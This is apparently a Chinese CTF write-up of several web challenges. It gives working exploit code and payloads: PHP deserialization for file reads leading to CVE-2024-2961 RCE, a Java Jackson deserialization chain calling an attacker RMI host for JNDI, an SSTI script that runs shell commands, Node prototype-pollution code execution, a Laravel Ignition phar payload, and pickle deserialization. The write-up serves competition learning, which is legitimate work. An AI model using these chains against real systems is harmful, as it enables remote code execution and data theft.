前言 复健了。web包ak的。
评价为弱智题。
fileread 反序列化任意文件读,能找到根目录有readflag但是无回显,需要RCE。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class cls1 { var $cls ; var $arr ; }class cls2 { var $filename = 'hello.php' ; var $txt = '' ; }$a =new cls1 ();$a ->cls=new cls2 ();$a ->cls->filename='/etc/passwd' ;$a ->arr=['fileput' ];echo base64_encode (serialize ($a ));
版本为php8,想到打CVE-2024-2961:
1 2 3 curl "http://192.168.18.24/?ser=Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjE1OiIvcHJvYy9zZWxmL21hcHMiO3M6MzoidHh0IjtzOjA6IiI7fXM6MzoiYXJyIjthOjE6e2k6MDtzOjc6ImZpbGVwdXQiO319" -o maps curl "http://192.168.18.24/?ser=Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjg0OiJwaHA6Ly9maWx0ZXIvcmVhZD1jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9saWJjLnNvLjYiO3M6MzoidHh0IjtzOjA6IiI7fXM6MzoiYXJyIjthOjE6e2k6MDtzOjc6ImZpbGVwdXQiO319" -o ./1.txt
由于有前缀需要删除,所以base64转一下libc.so,然后手动删除再转回来:
1 2 3 4 5 6 7 8 9 10 11 12 import base64with open ('lic.txt' , 'r' ) as file: base64_content = file.read() binary_content = base64.b64decode(base64_content)with open ('lic.so' , 'wb' ) as file: file.write(binary_content)
然后就是用iconv脚本打,再传参payload,已经可以RCE了:
蚁剑连接,读readflag:
LookUP 二次反序列化用Jackson链打JNDI:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package com.eddiemurphy;import com.backdoor.classes.hello;import com.backdoor.classes.look;import com.backdoor.util.MyInputstream;import com.fasterxml.jackson.databind.node.POJONode;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.security.*;import java.util.Base64;import java.util.HashSet;public class Exp { public static void main (String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException { Class clazz = Class.forName("com.backdoor.classes.hello" ); Field f = clazz.getDeclaredField("name" ); f.setAccessible(true ); Constructor constructor = clazz.getDeclaredConstructor(); constructor.setAccessible(true ); Object o = constructor.newInstance(); f.set(o,"rmi://vps:1099/akmaoy" ); try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, (ProtectionDomain)null ); } catch (Exception var11) { }; HashSet hashSet = new HashSet (); hashSet.add(o); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject (hashSet, kp.getPrivate(), Signature.getInstance("DSA" )); POJONode pojoNode = new POJONode (signedObject); BadAttributeValueExpException bad = new BadAttributeValueExpException ("test" ); Class clazz1 = bad.getClass(); Field declaredField = clazz1.getDeclaredField("val" ); declaredField.setAccessible(true ); declaredField.set(bad,pojoNode); ByteArrayOutputStream b1 = new ByteArrayOutputStream (); ObjectOutputStream o1 = new ObjectOutputStream (b1); o1.writeObject(bad); o1.close(); System.out.println(Base64.getEncoder().encodeToString(b1.toByteArray())); } }
python口算 首先用脚本算出答案提交,得到hint:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @app.route('/' ) def index (solved=0 ): global current_expr ..... ..... username = 'ctfer!' if request.args.get('username' ): username = request.args.get('username' ) if whitelist_filter(username,whitelist_patterns): if blacklist_filter(username): return render_template_string("filtered" ) else : print ("你过关!" ) else : return render_template_string("filtered" ) return render_template('index.html' , username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f" )
修改脚本直接打SSTI。
好像waf就过滤了我payload中的空格,过滤少了,直接就出了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsdef fetch_expression (url ): response = requests.get(url) if response.status_code == 200 : return response.text.strip() else : print (f"Failed to fetch expression. Status code: {response.status_code} " ) return None def calculate_and_submit (expression, submit_url ): try : result = eval (expression) except Exception as e: print (f"Error evaluating expression: {e} " ) return payload = "{{''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('cat${IFS}/flag').read()}}" response = requests.post(url=submit_url + f"?&answer={result} &Submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2" , data={'username' : payload}) if response.status_code == 200 : print ("Successfully sent the answer." ) print (response.text) else : print (f"Failed to send the answer. Status code: {response.status_code} " ) url = "http://192.168.18.28/calc" expression = fetch_expression(url)if expression: print (f"Fetched expression: {expression} " ) submit_url = "http://192.168.18.28/" calculate_and_submit(expression, submit_url)
notadmin 审计源码发现merge逻辑,想到原型链污染,先污染secretKey,然后本地制作一个token,然后再打code的原型链污染执行代码,由于blacklist里 + 被ban了,所以base64凭借绕过的时候也需要考虑编码里有无加号。
本地制作username为admin和key为admin的jwt:
1 2 3 4 5 6 res = requests.post(url+"/login" , json={ "__proto__" :{ "code" :"Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjYXQgLyogPj4vYXBwL3ZpZXdzL2xvZ2luLmVqcyIp`,`bas`.concat(`e64`)).toString())" , "secretKey" :"admin" }, "password" :"admin" })
base64中的命令为:
然后带token访问:
1 res = requests.get(url, headers={"authorization" :"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzMxMTM4MTIwfQ.xhWbYZSufvhAnxhOdLPORZCJ05F9HSmuQUHV9tzw364" })
第一次访问污染secretKey,第二次访问带token执行code,将根目录文件写入/app/views/login.ejs前端文件,然后网页查看,已经有flag了:
ezlaravel 用Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数构造恶意Log文件触发Phar反序列化
1 2 3 4 5 6 7 { "solution" : "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution" , "parameters" : { "variableName" : "username" , "viewFile" : "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" } }
1 2 3 4 5 6 7 { "solution" : "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution" , "parameters" : { "variableName" : "username" , "viewFile" : "AA" } }
1 2 3 4 5 6 7 { "solution" : "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution" , "parameters" : { "variableName" : "username" , "viewFile" : "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=2B=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=49=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=54=00=49=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=47=00=5A=00=70=00=62=00=47=00=56=00=66=00=63=00=48=00=56=00=30=00=58=00=32=00=4E=00=76=00=62=00=6E=00=52=00=6C=00=62=00=6E=00=52=00=7A=00=4B=00=43=00=64=00=6B=00=62=00=33=00=55=00=7A=00=4C=00=6E=00=42=00=6F=00=63=00=43=00=63=00=73=00=49=00=47=00=4A=00=68=00=63=00=32=00=55=00=32=00=4E=00=46=00=39=00=6B=00=5A=00=57=00=4E=00=76=00=5A=00=47=00=55=00=6F=00=4A=00=31=00=42=00=45=00=4F=00=58=00=64=00=68=00=53=00=45=00=46=00=6E=00=57=00=6C=00=64=00=4F=00=62=00=32=00=4A=00=35=00=51=00=54=00=4A=00=4F=00=61=00=6C=00=6B=00=33=00=57=00=6C=00=64=00=4F=00=62=00=32=00=4A=00=35=00=51=00=6E=00=70=00=6C=00=57=00=45=00=34=00=77=00=57=00=6C=00=63=00=77=00=62=00=30=00=6C=00=74=00=65=00=48=00=70=00=4A=00=51=00=7A=00=68=00=70=00=53=00=31=00=52=00=30=00=62=00=47=00=52=00=74=00=52=00=6E=00=4E=00=4C=00=51=00=31=00=4A=00=6D=00=56=00=55=00=55=00=35=00=56=00=46=00=5A=00=47=00=63=00=33=00=68=00=4E=00=61=00=6B=00=35=00=6B=00=53=00=31=00=52=00=30=00=64=00=32=00=46=00=49=00=51=00=6E=00=42=00=69=00=62=00=56=00=70=00=32=00=53=00=30=00=4E=00=72=00=4E=00=30=00=6C=00=45=00=4F=00=43=00=73=00=6E=00=4B=00=53=00=6B=00=37=00=49=00=47=00=56=00=34=00=61=00=58=00=51=00=37=00=49=00=44=00=38=00=2B=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=59=00=67=00=49=00=76=00=5A=00=77=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=6F=00=35=00=62=00=7A=00=42=00=2F=00=4C=00=76=00=47=00=6D=00=74=00=78=00=42=00=2B=00=4B=00=4E=00=7A=00=58=00=43=00=38=00=4B=00=78=00=37=00=43=00=4D=00=42=00=77=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a" } }
1 2 3 4 5 6 7 { "solution" : "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution" , "parameters" : { "variableName" : "username" , "viewFile" : "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" } }
1 2 3 4 5 6 { "solution" : "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution" , "parameters" : { "variableName" : "username" , "viewFile" : "phar://../storage/logs/laravel.log" } }
ezpython 纯sb题。
/login有路由,弱密码test/123456
登录,拿到jwt-token。
爆破密钥得到a123456。。。。懒得喷。
得到弹窗:
/ser打pickle反序列化:
1 2 3 4 5 6 7 8 import pickle import base64 def hhhhackme (pickled ): data = base64.urlsafe_b64decode(pickled) deserialized = pickle.loads(data) return '' , 204
没有过滤,随便打。raise Exception抛错或者反弹shell都可以。
后记 犹记得前几个月的羊城杯我们能本科组第二,学长ak靶场本科组第一。还以为这次原班人马能再续辉煌。
但是很难以评价的赛事安排,跟网鼎杯决赛撞了,所以这次线下去不了了。
再见广东。再见深圳。